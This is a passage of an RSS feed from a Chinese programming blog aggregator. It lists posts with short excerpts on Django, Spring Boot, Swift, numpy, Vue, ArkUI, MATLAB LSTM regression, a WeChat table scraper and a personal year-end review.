      <description>文章目录 0 前言1 课题背景2 实现效果3 Django框架4 数据整理5 模型准备和训练6 最后 0 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;🚩 **基于Django与深度学习的股票预测系统 **&#xA;该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：3分创新点：5分 🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;1 课题背景 随着经济的发展，我国的股票市场建设正不断加强，社会直接融资正获得重要发展。股票市场行情的涨落与国民经济的发展密切相关。股票作为一种资本融资和投资的工具，是一种资本的代表形式，股票市场可以让上市公司便捷地在国内和国际市场融资。个人投资者、投资机构期望通过技术手段进行投资分析，能够从股票市场获得一定相对高额的投资收益。&#xA;2 实现效果 主界面&#xA;详细数据查看&#xA;股票切换&#xA;相关html&#xA;​&#xA;DOCTYPE html&amp;gt;&#xA;股票预测系统title&amp;gt;&amp;lt;br/&amp;gt; {% load static %}&amp;lt;br/&amp;gt; 3 Django框架 Django是一个基于Web的应用框架，由python编写。Web开发的基础是B/S架构，它通过前后端配合，将后台服务器的数据在浏览器上展现给前台用户的应用。Django本身是基于MVC模型，即Model（模型）+View（视图）+&#xA;Controller（控制器）设计模式，View模块和Template模块组成了它的视图部分，这种结构使动态的逻辑是剥离于静态页面处理的。&#xA;Django框架的Model层本质上是一套ORM系统，封装了大量的数据库操作API，开发人员不需要知道底层的数据库实现就可以对数据库进行增删改查等操作。Django强大的QuerySet设计能够实现非常复杂的数据库查询操作，且性能接近原生SQL语句。Django支持包括PostgreSQL、My&#xA;Sql、SQLite、Oracle在内的多种数据库。Django的路由层设计非常简洁，使得将控制层、模型层和页面模板独立开进行开发成为可能。基于Django的Web系统工程结构示意图如图所示。&#xA;从图中可以看到，一个完整的Django工程由数个分应用程序组成，每个分应用程序包括四个部分：&#xA;urls路由层 ：决定Web系统路由结构，控制页面间的跳转和数据请求路径&#xA;views视图层&#xA;：业务层，主要进行逻辑操作和运算，是前端页面模板和后端数据库之间的桥梁。Django框架提供了大量的数据库操作API，开发人员甚至不需要使用SQL语句即可完成大部分的数据库操作。&#xA;models模型层&#xA;：Web应用连接底层数据库的关键部分，封装了数据库表结构和实现。开发人员可以在Model层按照Django的指令要求进行建表，无须使用SQL语句或者第三方建表工具进行建表。建表的过程类似于定义变量和抽象编程语言中的类，非常方便。&#xA;templates模板层&#xA;：HTML模板文件，后端数据会填充HTML模板，渲染之后返回给前端请求。考虑到项目周期尽可能小，尽快完成平台的搭建，项目决定采用开源的Django框架开发整个系统的Web应用层。&#xA;关键代码&#xA;​&#xA;def main():&#xA;os.environ.setdefault(‘DJANGO_SETTINGS_MODULE’, ‘ExamOnline.settings’)&#xA;try:&#xA;from django.core.management import execute_from_command_line&#xA;except ImportError as exc:</description>
    </item>
    <item>
      <title>Spring Boot IO官方文档中文版</title>
      <link>https://bchobby.github.io/posts/ebe2708f66f30383e1c11269b529361f/</link>
      <pubDate>Sat, 30 Dec 2023 14:43:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebe2708f66f30383e1c11269b529361f/</guid>
      <description>本文为官方文档直译版本。原文链接&#xA;Spring Boot IO官方文档中文版 引言缓存支持的缓存提供程序GenericJCache (JSR-107)HazelcastInfinispanCouchbaseRedisCaffeineCache2kSimpleNone HazelcastQuartz Scheduler发送邮件Validation调用 REST 服务WebClientWebClient Runtime自定义 WebClientWebClient SSL 支持 RestClient自定义 RestClientRestClient SSL 支持 RestTemplate自定义 RestTemplateRestTemplate SSL 支持 检测 RestClient 和 RestTemplate 的 HTTP 客户端 Web Services使用 WebServiceTemplate 调用网络服务 使用 JTA 进行分布式事务处理使用 Jakarta EE 托管事务管理器混合 XA 和非 XA JMS 连接支持嵌入式事务管理器 引言 大多数应用程序都需要处理输入和输出问题。当您需要 IO 功能时，Spring Boot 提供了实用工具并与一系列技术集成。本节将介绍缓存和验证等标准 IO 功能，以及调度和分布式事务等更高级的主题。我们还将介绍调用远程 REST 或 SOAP 服务和发送电子邮件。&#xA;缓存 Spring Framework 支持在应用程序中透明地添加缓存。该抽象的核心是将缓存应用于方法，从而根据缓存中的可用信息减少执行次数。缓存逻辑的应用是透明的，不会对调用者造成任何干扰。只要使用 @EnableCaching 注解启用了缓存支持，Spring Boot 就会自动配置缓存基础架构。&#xA;详情请查看 Spring Framework 参考资料的相关章节。&#xA;简而言之，要在服务的操作中添加缓存，请在其方法中添加相关注解，如下例所示：</description>
    </item>
    <item>
      <title>swift-碰到的问题</title>
      <link>https://bchobby.github.io/posts/25c5aa6da41f771354b027f70fb11421/</link>
      <pubDate>Sat, 30 Dec 2023 14:37:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25c5aa6da41f771354b027f70fb11421/</guid>
      <description>如何让工程不使用storyboard和scene 删除info.plist里面的Application Scene mainifest&#xA;删除SceneDelegate.swift&#xA;删除AppDelegate.swift里面的这两个方法&#xA;func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -&amp;gt; UISceneConfiguration { func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set&amp;lt;UISceneSession&amp;gt;) { 然后在appDelegate,swift里面添加&#xA;class AppDelegate: UIResponder, UIApplicationDelegate { var window: UIWindow?//添加window func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -&amp;gt; Bool { // Override point for customization after application launch. window = UIWindow(frame: UIScreen.main.bounds) // 设置根视图控制器 var VC = UIViewController() VC.view.backgroundColor = UIColor.blue let rootViewController = VC // 替换为你的视图控制器 window?</description>
    </item>
    <item>
      <title>二叉排序树的插入删除和查找(数据结构实训)(难度系数100)</title>
      <link>https://bchobby.github.io/posts/98ef3d79ca112e962373f8764b0931df/</link>
      <pubDate>Sat, 30 Dec 2023 14:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98ef3d79ca112e962373f8764b0931df/</guid>
      <description>二叉排序树的插入删除和查找&#xA;pre: 前序遍历&#xA;in: 中序遍历&#xA;post：后序遍历&#xA;insert: 插入，本题中不会出现相同的元素&#xA;delete: 删除，删除成功输出TRUE,没有该元素则输出FALSE，删除的方法是如果有左子树，以左子树中最大值作为新的树根，否则，以右子树最小值作为树根。&#xA;search： 查找，存在该元素输出YES， 否则输出NO&#xA;exit:退出&#xA;输入：&#xA;输入的第一行为整数 N&#xA;接下来一行为N个整数，你需要把这N个整数构建出相应的二叉排序树&#xA;之后是一组指令。&#xA;输出：&#xA;根据相应的指令进行输出。说明：遍历各元素之间用一个空格隔开。&#xA;样例输入：&#xA;10&#xA;31 15 9 5 4 7 8 50 42 2&#xA;pre&#xA;in&#xA;post&#xA;delete&#xA;15&#xA;delete&#xA;88&#xA;in&#xA;search&#xA;8&#xA;search&#xA;222&#xA;insert&#xA;15&#xA;pre&#xA;in&#xA;post&#xA;exit&#xA;样例输出：&#xA;31 15 9 5 4 2 7 8 50 42&#xA;2 4 5 7 8 9 15 31 42 50</description>
    </item>
    <item>
      <title>7个罕见的Numpy函数！</title>
      <link>https://bchobby.github.io/posts/10c6ec68c5c3d06540781050c4041f44/</link>
      <pubDate>Sat, 30 Dec 2023 14:25:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10c6ec68c5c3d06540781050c4041f44/</guid>
      <description>7个罕见的Numpy函数！ 本文介绍的是numpy中少见但是非常实用的7个函数。&#xA;In [1]:&#xA;import pandas as pd import numpy as np np.where() 功能和TensorFlow中的where函数相同，下面介绍用法&#xA;In [2]:&#xA;m = np.arange(0,15,2) m Out[2]:&#xA;array([ 0, 2, 4, 6, 8, 10, 12, 14]) In [3]:&#xA;# 情形1 np.where(m, 1, -1) Out[3]:&#xA;array([-1, 1, 1, 1, 1, 1, 1, 1]) 上面结果中如何m为真则输出1，否则输出-1。在m的取值中0代表的就是False，其他的为True。&#xA;In [4]:&#xA;# 情形2 np.where(m&amp;gt;=2,1,-1) Out[4]:&#xA;array([-1, 1, 1, 1, 1, 1, 1, 1]) 判断条件是m大于等于2，则输出1；否则输出-1&#xA;In [5]:&#xA;# 情形3 np.where(m&amp;gt;=2) Out[5]:&#xA;(array([1, 2, 3, 4, 5, 6, 7]),) 当执行完条件后面没有规定输出的内容，直接输出满足要求数据的索引值</description>
    </item>
    <item>
      <title>用python生成词云图 --- 新手练手</title>
      <link>https://bchobby.github.io/posts/efcba6bf82426b7b52b7c05aeae9b0d8/</link>
      <pubDate>Sat, 30 Dec 2023 14:23:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efcba6bf82426b7b52b7c05aeae9b0d8/</guid>
      <description>类似生成各种形状的云图，我也会啦！&#xA;其实也就是针对新手吧，我估计老手分分钟，哈哈哈，我怕我忘了，随手记录下~&#xA;四个步骤吧：&#xA;读文件分词生成词云图显示词云图 1. 读文件 使用了下 codecs 库，读取内容更方便。&#xA;import codecs def get_file_content(filePath): with codecs.open(filePath, &#39;r&#39;, &#39;utf-8&#39;) as f: txt = f.read() return txt 2. 分词 jieba是一个分词库，可以将一段文本分割成词语。cut 是将文本精确切分开，不存在冗余词语。比如颜酱是一个厉害的厨师，会变成[&#39;颜酱&#39;, &#39;厉害&#39;, &#39;厨师&#39;]。 Counter是一个计数器，可以统计词语出现的次数，most_common 是取出最常用的词语。&#xA;import jieba from collections import Counter def get_words(txt): # 先分词，得到词语数组 seg_list = jieba.cut(txt) # 开始计数 c = Counter() for x in seg_list: if len(x)&amp;gt;1 and x != &#39;\r\n&#39;: c[x] += 1 word_list = [] print(&#39;常用词频度统计结果&#39;) # 统计前99个词 for (k,v) in c.</description>
    </item>
    <item>
      <title>Python：爬虫获取微信公众号里面的表格内容&#43;整理数据导出表格</title>
      <link>https://bchobby.github.io/posts/afdfab03560ec4c1ac0665d128cee8d3/</link>
      <pubDate>Sat, 30 Dec 2023 14:22:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afdfab03560ec4c1ac0665d128cee8d3/</guid>
      <description>爬虫获取微信公众号里面的表格内容+整理数据导出表格 有什么不懂的留言，我看到及时回复；大佬们有更好的方法的话建议一下，互相学习，互相进步，感谢各位！&#xA;前言 需求：统计深圳市各大剧场的钢琴表演节目的信息数据&#xA;有位朋友，他兼职了某个研究院；给他了一个任务就是统计深圳市内各大剧场的钢琴表演节目信息的数据。这件事情让他头疼，哈哈哈哈 跟我说了以后，我立刻想到用python来解决一下；&#xA;我记得，深圳艺文惠公众号 把每周的各大剧场的演出表演总结，并且放到他们的公众号推文里面的。 我平时比较喜欢文艺的东西，没有去过几次，但是常常关注 哈哈哈哈； 现在用上了，这个是我们幸运的点，我们很顺利的找到了数据源（从哪里获取这些数据）； 而且这些都是整理好的，直接获取即可。 这里不得不表扬深圳艺文惠公众号，哈哈哈哈；&#xA;于是，我打开推文的URL地址，在浏览器中按F12键，打开HTML结构，分析了一波后就有了思路；&#xA;**思路：&#xA;****第一步：模拟浏览器请求URL地址&#xA;****第二步：获取HTML文档结构&#xA;****第三步：根据HTML结构，定位找到想要的内容&#xA;****第四步：获取到的内容根据“关键字”筛选数据&#xA;****第五步：收集每周推文的链接，整理汇总到表格中&#xA;****第六步：读取推文链接，重复运行上面的五个步骤&#xA;****第七步：筛选的数据写入到表格中，并且导出&#xA;**&#xA;实现 **第一步：模拟浏览器请求URL地址&#xA;第二步：获取HTML文档结构&#xA;**&#xA;import requests # 导入请求库 def getHtml(url): # 请求头 headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE&#39; } # 发送GET请求获取网页内容 response = requests.get(url, headers=headers) response.encoding = &#39;utf-8&#39; return response.text # 返回HTML内容 **第三步：根据HTML结构，定位找到想要的内容&#xA;**&#xA;我们首先分析HMTL结构内容：</description>
    </item>
    <item>
      <title>微信小程序开发系列-07组件</title>
      <link>https://bchobby.github.io/posts/e6462043700ff7a60ef05f3b56c6f85d/</link>
      <pubDate>Sat, 30 Dec 2023 14:11:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6462043700ff7a60ef05f3b56c6f85d/</guid>
      <description>微信小程序开发系列目录 《微信小程序开发系列-01创建一个最小的小程序项目》《微信小程序开发系列-02注册小程序》《微信小程序开发系列-03全局配置中的“window”和“tabBar”》《微信小程序开发系列-04获取用户图像和昵称》《微信小程序开发系列-05登录小程序》《微信小程序开发系列-06事件》《微信小程序开发系列-07组件》 本文目录 微信小程序开发系列目录前言什么是组件属性类型公共属性 自定义组件创建自定义组件自定义组件的构成自定义组件创建步骤在自定义组件的json中声明编写自定义组件模版wxml编写自定义组件样式wxss编写自定义组件逻辑js 引入第三方组件引入方法useExtendedLib扩展库npm引入 总结 前言 在开发小程序的过程中会遇到一个常见的问题，怎样将其他同事提供的样式或者第三方的样式载入自己的工程，本文基于这个问题为索引，探索下小程序的组件。&#xA;什么是组件 组件是视图层的基本组成单元。组件自带一些功能与微信风格一致的样式。一个组件通常包括 开始标签 和 结束标签，属性 用来修饰这个组件，内容 在两个标签之内。 &amp;lt;tagname property=&#34;value&#34;&amp;gt; Content goes here ... &amp;lt;/tagname&amp;gt; 注意：所有组件与属性都是小写，以连字符-连接 属性类型 类型描述注解Boolean布尔值组件写上该属性，不管是什么值都被当作 true；只有组件上没有该属性时，属性值才为false。如果属性值为变量，变量的值会被转换为Boolean类型Number数字1, 2.5String字符串&#34;string&#34;Array数组[ 1, &#34;string&#34; ]Object对象{ key: value }EventHandler事件处理函数名&#34;handlerName&#34; 是 Page 中定义的事件处理函数名Any任意属性 公共属性 所有组件都有以下属性：&#xA;属性名类型描述注解idString组件的唯一标示保持整个页面唯一classString组件的样式类在对应的 WXSS 中定义的样式类styleString组件的内联样式可以动态设置的内联样式hiddenBoolean组件是否显示所有组件默认显示data-*Any自定义属性组件上触发事件时，会发送给事件处理函数bind* / catch*EventHandler组件的事件详见事件 官方定义了非常多的组件，本文就不再列出，需要时查看官方文档即可。&#xA;自定义组件 为什么自定义组件？&#xA;当官方已有组件不满足想要的渲染效果；功能模块抽象，降低耦合度，提高可维护性； 创建自定义组件 自定义组件的构成 类似于页面，一个自定义组件也是由 json wxml wxss js 4个文件组成。&#xA;自定义组件创建步骤 在自定义组件的json中声明 要编写一个自定义组件，首先需要在 json 文件中进行自定义组件声明。具体的声明方法是：将 component 字段设为 true 。&#xA;{ &#34;component&#34;: true } 自定义组件也是可以引用其他的自定义组件，引用方法与页面引用自定义组件的方式相同。</description>
    </item>
    <item>
      <title>【GOLANG】使用插件 Goanno 的方式来对方法、接口、结构体注释模板配置</title>
      <link>https://bchobby.github.io/posts/eb77e84b96bada18e616d07f412c9c44/</link>
      <pubDate>Sat, 30 Dec 2023 13:54:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb77e84b96bada18e616d07f412c9c44/</guid>
      <description>直接 使用插件 Goanno 的方式来对方法、接口、结构体注释模板配置&#xA;1、简单安装 Goanno 插件&#xA;File-&amp;gt;Settings-&amp;gt;Plugins ,&#xA;搜索 Goanno&#xA;Normal Method 配置内容如下：&#xA;// @Title ${function_name}&#xA;// @Description ${todo}&#xA;// @Author mumu ${date} ${time}&#xA;// @Param ${params}&#xA;// @Return ${return_types}&#xA;Interface 配置内容如下：&#xA;// ${interface_name}&#xA;Interface Method 配置内容如下：&#xA;// @Title ${function_name}&#xA;// @Description ${todo}&#xA;// @Author mumu ${date} ${time}&#xA;// @Param ${params}&#xA;// @Return ${return_types}&#xA;Struct配置内容如下：&#xA;// ${struct_name}&#xA;就加了一行作者：</description>
    </item>
    <item>
      <title>回归预测 | MATLAB实OOA-LSTM基于鱼鹰优化算法优化长短期记忆网络的多输入单输出数据回归预测模型 （多指标，多图）</title>
      <link>https://bchobby.github.io/posts/9a546592b8c96b072266ddc96450ed08/</link>
      <pubDate>Sat, 30 Dec 2023 13:12:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a546592b8c96b072266ddc96450ed08/</guid>
      <description>回归预测 | MATLAB实OOA-LSTM基于鱼鹰优化算法优化长短期记忆网络的多输入单输出数据回归预测模型 （多指标，多图） 目录 回归预测 | MATLAB实OOA-LSTM基于鱼鹰优化算法优化长短期记忆网络的多输入单输出数据回归预测模型 （多指标，多图）效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.回归预测 | MATLAB实OOA-LSTM基于鱼鹰优化算法优化长短期记忆网络的多输入单输出数据回归预测模型 （多指标，多图） 。出图包括迭代曲线图、预测效果图等等。优化LSTM的参数为：LSTM的学习率、隐藏层节点数、正则化系数。&#xA;2.matlab 版本要求2020b及以上版本 程序已调试好可以直接运行(数据直接在Excel中替换)优化参数为核参数。&#xA;3.直接替换Excel数据即可用，注释清晰，适合新手小白[火]&#xA;4.附赠示例数据，直接运行main文件一键出图[灯泡]评价指标包括:R2、MAE、MSE、MAPE、RMSE等，图很多。&#xA;程序设计 完整源码和数据获取方式：私信回复MATLAB实OOA-LSTM基于鱼鹰优化算法优化长短期记忆网络的多输入单输出数据回归预测模型 （多指标，多图）。 %% 清空环境变量 warning off % 关闭报警信息 close all % 关闭开启的图窗 clear % 清空变量 clc % 清空命令行 %% 导入数据 res = xlsread(&#39;data.xlsx&#39;); %% 划分训练集和测试集 temp = randperm(103); P_train = res(temp(1: 80), 1: 7)&#39;; T_train = res(temp(1: 80), 8)&#39;; M = size(P_train, 2); P_test = res(temp(81: end), 1: 7)&#39;; T_test = res(temp(81: end), 8)&#39;; N = size(P_test, 2); %% 数据归一化 [p_train, ps_input] = mapminmax(P_train, 0, 1); p_test = mapminmax(&#39;apply&#39;, P_test, ps_input); [t_train, ps_output] = mapminmax(T_train, 0, 1); t_test = mapminmax(&#39;apply&#39;, T_test, ps_output); %% 数据反归一化 T_sim1 = mapminmax(&#39;reverse&#39;, t_sim1, ps_output); T_sim2 = mapminmax(&#39;reverse&#39;, t_sim2, ps_output); %% 均方根误差 error1 = sqrt(sum((T_sim1 - T_train).</description>
    </item>
    <item>
      <title>2023年总结：不上班的这半年！</title>
      <link>https://bchobby.github.io/posts/9cfc656326afe304c936a5c12b89461c/</link>
      <pubDate>Sat, 30 Dec 2023 13:00:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cfc656326afe304c936a5c12b89461c/</guid>
      <description> 最美好的永远是“昨天”，最易流失的永远是“今天”，最不确定的永远是“明天”。&#xA;2023 年 6 月 13 日，告别了待了近 3 年的公司，自己出来做 Java 培训了。做的事虽然和之前没太大区别，无非是备新课、带新班，只是没有了固定薪水，却而代之的是自己挣钱自己花。没了稳定，却得了自在。&#xA;之后，很多朋友知道了此事，于是都在问我“现在怎样？”。&#xA;说实话，这个问题不怎么好回答，“怎么样？”这件事，取决于你想要的是啥？&#xA;例如“挣钱怎么样？”、“心情怎么样？”，又或者是“精神状况怎么样？”，还是“忙的怎么样？”，所以不同的关注点，自然也有不同的答案。&#xA;索性这里就统一回复一下吧，没有太好，但也凑活。凑活着钱够花，凑活着时间够用，凑活着羽毛球还能打，凑活着生活还能继续，凑活着还能做自己喜欢且擅长的事，凑活着又过了一年。&#xA;所以，这些都不是钱能买到的。那钱还重要吗？重要，但不是最重要的，快乐才是！&#xA;“ 我深刻的意识到，这些所谓的这些“凑活”，对于以后来说，都是弥足珍贵的经历，因为再无 2023，再无那时的“少年”。&#xA;” 大叔感言 青春寥寥，一晃都快成了四十岁的大叔了，人生还能有几个四十岁？&#xA;有可能会说，你丫是赚够了钱，在这给我们灌迷魂汤呢？&#xA;其实并不是，作为一个从 18 线小地方走出来的普通人，现在每个月还背负着四千多的房贷，如果真有钱，也不至于连房贷都还没还清吧？&#xA;只是现在没有了那么多执着，没有了那么多贪念。钱赚不完，也花不完，但一个人的生命会有终点，那我们是要等到 60 岁？还是 70 岁？再去过自己想要的生活吗？&#xA;不，那就太晚了。&#xA;及时行乐，去做自己想做的事，去做那些真正值得做的事，去尝试、去体验、去经历、去感受，一切都是刚刚好，只是差一个“开始”而已。&#xA;“ 特殊声明一下，这里的“及时行乐”不是荒淫无度，不是破罐子破摔，不是混吃等死（虽然这些看起来也不错），但这里的“及时行乐”指的是找到自己感兴趣且有意义的事，比如我就喜欢写文章、写代码和讲课，我现在从公司出来依然在做这些我自己最喜欢的事，并且还能用它赚到养家糊口的钱，这就是最大的幸福，也是最好的“及时行乐”。&#xA;” 不焦虑吗？ 是否焦虑和性格有关，和你所做的事情没太大关系的，焦虑的人即使在体制内有稳定的工作，也会每天焦虑到失眠，不焦虑的人就是上山打虎，也无所无惧，而我属于焦虑的“恰到其份”刚刚好。&#xA;如果真的焦虑，我教大家一个咒语，亲测很管用，这个咒语是“永远都不要提前焦虑，也不要预支烦恼，更不要被当下的情绪所消耗。车到山前必有路，船到前头自然直，所有的问题都是时间的问题，所有的烦恼都是自寻烦恼。战胜恐惧最好的方法就是直面恐惧。”反复诵读，效果最佳。&#xA;明年愿望 每天可以打羽毛球。&#xA;公司可以活下去，我明年还能很 happy 的给大家分享我的年终总结。&#xA;继续做我喜欢的事（写作、编程和讲课），顺便挣点钱。&#xA;最后 最后用偶像东坡居士的《定风波》来结尾：&#xA;“ 莫听穿林打叶声，何妨吟啸且徐行。竹杖芒鞋轻胜马，谁怕？一蓑烟雨任平生。&#xA;料峭春风吹酒醒，微冷，山头斜照却相迎。回首向来萧瑟处，归去，也无风雨也无晴。&#xA;” </description>
    </item>
    <item>
      <title>影响服务器正常使用的有哪些因素</title>
      <link>https://bchobby.github.io/posts/34cef876738e0424af17ba4478bb401c/</link>
      <pubDate>Sat, 30 Dec 2023 12:42:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34cef876738e0424af17ba4478bb401c/</guid>
      <description>对于网站优化来说，网站服务器的优化绝对是基础。不管是用户还是搜索引擎对于网站的打开速度都是没有太多耐心的，&#xA;所以网站优化的就是要保证网站服务器稳定，网站正常且快速的打开&#xA;1.用户体验较差&#xA;现在越来越强调用户体验，设想一下，如果用户想打开你的网站了解一下，结果一直在等待响应，或者直接是打不开，用&#xA;户还会想要继续深入了解吗？不会。现在用户选择很多，转移成本也比较低，如果网站经常打不开或者是打开速度过慢，那&#xA;用户肯定是会放弃这个网站转向你的竞争对手。所以网站服务器稳定是影响用户体验的重要一环，不能忽视。&#xA;2.搜索引擎信任度逐渐降低&#xA;搜索引擎就像用户一样，对于经常打不开或是打开很慢的网站的信任度是逐渐会丧失掉的。如果蜘蛛刚开始可能经常会来&#xA;你的网站来抓取信息，某一天开始它突然发现你的网站经常打不开，或者要等很久，那么它自然就会降低来爬取的频率。</description>
    </item>
    <item>
      <title>概率论基础复习题</title>
      <link>https://bchobby.github.io/posts/7c4bd484ea6f04ceba3a0b41f3cd071a/</link>
      <pubDate>Sat, 30 Dec 2023 12:09:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c4bd484ea6f04ceba3a0b41f3cd071a/</guid>
      <description>一、填空题 二、选择题 答案：B&#xA;答案：C 答案：C&#xA;答案：D。统计量不含任何未知参数。&#xA;答案：A&#xA;答案：C&#xA;样本均值是总体均值的无偏估计；样本方差是总体方差的无偏估计。&#xA;答案：B。统计值是一个数值，统计量是一个随机变量。 答案：A&#xA;答案：A。显著性水平从0.05降低到0.01，说明拒绝域也减小，在拒绝域大的情况下接受，那么在该拒绝域变小的情况下也定然接受。 三、计算题 ​​​​​&#xA;四、解答题 参考书目 [1] 陈希孺. 概率论与数理统计. 中国科学技术大学出版社, 2009&#xA;[2] 华东师范大学数学系. 概率论与数理统计教程. 高等教育出版社, 1983&#xA;[3] 茆诗松, 周纪芗. 概率论与数理统计 (第三版). 中国统计出版社, 2007&#xA;[4] 陈家鼎等. 数理统计学讲义 (第二版). 高等教育出版社, 2006&#xA;[5] 王松桂等. 概率论与数理统计 (第三版). 科学出版社, 2011</description>
    </item>
    <item>
      <title>【eclipse】eclipse开发springboot项目使用入门</title>
      <link>https://bchobby.github.io/posts/c23eca1ad921790400dbfd26f04b8c05/</link>
      <pubDate>Sat, 30 Dec 2023 11:04:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c23eca1ad921790400dbfd26f04b8c05/</guid>
      <description>下载eclipse Eclipse downloads - Select a mirror | The Eclipse Foundation&#xA;安装eclipse 其他一步一步即可&#xA;我们是开发java web选择如下&#xA;界面修改 Window-&amp;gt;Preferences-&amp;gt;&#xA;修改eclipse风格主题 Window-&amp;gt;Preferences-&amp;gt;General-&amp;gt;Appearance&#xA;修改字体和大小 Window-&amp;gt;Preferences-&amp;gt;General-&amp;gt;Appearance-&amp;gt;Colors and Fonts-&amp;gt;Basic-&amp;gt;Text Font 双击编辑&#xA;eclipse 设置java的jdk编译版本 Window-&amp;gt;Preferences-&amp;gt;java-&amp;gt;Compiler&#xA;maven的setting设置 Window-&amp;gt;Preferences-&amp;gt;Maven-&amp;gt;User Settings&#xA;eclipse中的git操作 从git仓库clone maven项目 File -&amp;gt;Import-&amp;gt;Git-&amp;gt;Projects from Git-&amp;gt;Clone URI&#xA;选择Clone URI&#xA;复制git项目的项目链接&#xA;切换项目分支 选中项目右键&#xA;Team-&amp;gt;Switch To-&amp;gt;New Branch&#xA;设置项目的目录结构树型显示 Package Presentation-&amp;gt;Hierarchical&#xA;拉取的项目转成maven项目结构 选中项目然后右键-&amp;gt;Configure-&amp;gt;Convert to Maven project&#xA;运行启动springboot项目 Run-&amp;gt;Run As(Debug As 调试)-&amp;gt;Java Application(或执行maven命令)</description>
    </item>
    <item>
      <title>ArkUI自定义组件的使用</title>
      <link>https://bchobby.github.io/posts/d8bafe1c5f9df3d7fd486237b153c44c/</link>
      <pubDate>Sat, 30 Dec 2023 10:41:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8bafe1c5f9df3d7fd486237b153c44c/</guid>
      <description>文章概叙 本文主要讲的是如何在ArkUi红创建一个自定义的组件，并且在新的页面中引用，其实依旧是自定义函数，只是既可以在外部使用，也可以作为组件引入.&#xA;介绍 前面的文章中，已经对tab页面的内容编辑的差不多了，接下来需要编辑各个页面中的详情，比如“发现”页面，我们需要从后台拿到数据并且展示在上面，如果依旧放在了tab页面的话，会显得代码很乱，所以我们需要将其独立封装成一个组件，但是又可以作为一个独立的页面。&#xA;综上述，我们需要按照下图的方式，创建一个Page。&#xA;与直接创建一个ets的区别是，我们创建一个page的时候，编译器会将其自动写入main_pages.json中，该json页面的路径如下：&#xA;src/main/resources/base/profile/main_pages.json export &amp;amp; import 创建出了一个新的页面之后，打开新建的ets文件的内容，修改代码如下：怎么修改不重要。主要就是跟待会的&#34;Mine&#34;页面能有区分。&#xA;@Entry @Component export struct Found { @State message: string = &#39;这个是found页面&#39; ​ build() { Row() { Column() { Text(this.message) .fontSize(50) .fontWeight(FontWeight.Bold) } .width(&#39;100%&#39;) } .height(&#39;100%&#39;) } } 同样的方法，我们创建一个Mine.ets的文件，放置的是“我的”页面的内容。&#xA;接着，在我们的主页面中，我们需要引入这两个文件，引用方法如下&#xA;import { Found } from &#39;./found&#39; import { Mine } from &#39;./mine&#39; 使用的方法如同Typescript的引入一样…&#xA;而我们是需要将其放置在TabContrent中的，因此，我们要这么去使用他，由于这儿不需要传入什么参数，所以直接用下面的方法就可以。&#xA;TabContent() { Mine(); } 并且，需要在tabList中就定义好我们的组件，但由于我才疏学浅，且在官网上也没看到如何将组件动态的赋值，所以就只能通过笨方法来做if-else判断了。如下面的代码&#xA;TabContent() { // 不知道怎么动态赋值ui，所以就直接做一个简单的if判断 if (item.component_name === &#34;mine&#34;) { Mine(); } else { Found(); } } 最后的tab页面的代码如下</description>
    </item>
    <item>
      <title>Vue 3中如何处理懒加载？</title>
      <link>https://bchobby.github.io/posts/6e07586c934950ed66c00dd99a0558fd/</link>
      <pubDate>Sat, 30 Dec 2023 10:39:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e07586c934950ed66c00dd99a0558fd/</guid>
      <description>Vue 3中如何处理懒加载？ 在 Vue 3 中，处理懒加载的方式与 Vue 2 中有所不同。Vue 3 推荐使用 Suspense 和defineAsyncComponent 来实现组件的懒加载。&#xA;Suspense 组件是 Vue 3 中新增的组件，用于处理异步组件的加载状态。我们可以在 Suspense 中使用 fallback 属性指定一个加载中的占位符，直到异步组件加载完成后再显示真正的内容。&#xA;defineAsyncComponent 是 Vue 3 中定义异步组件的新方法。它返回一个 Promise 对象，该 Promise 对象在组件被请求之前解析为一个组件选项对象，从而实现异步组件的加载。&#xA;下面是一个使用 Suspense 和 defineAsyncComponent 实现组件懒加载的示例：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;Lazy Component Demo&amp;lt;/h1&amp;gt; &amp;lt;Suspense&amp;gt; &amp;lt;template #default&amp;gt; &amp;lt;AsyncComponent /&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;template #fallback&amp;gt; &amp;lt;p&amp;gt;Loading...&amp;lt;/p&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/Suspense&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { defineAsyncComponent } from &#39;vue&#39;; const AsyncComponent = defineAsyncComponent({ loader: () =&amp;gt; import(&#39;.</description>
    </item>
    <item>
      <title>vue、react、angular 区别</title>
      <link>https://bchobby.github.io/posts/536b945c7419f9af14e47cd6fc2fb02b/</link>
      <pubDate>Sat, 30 Dec 2023 10:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/536b945c7419f9af14e47cd6fc2fb02b/</guid>
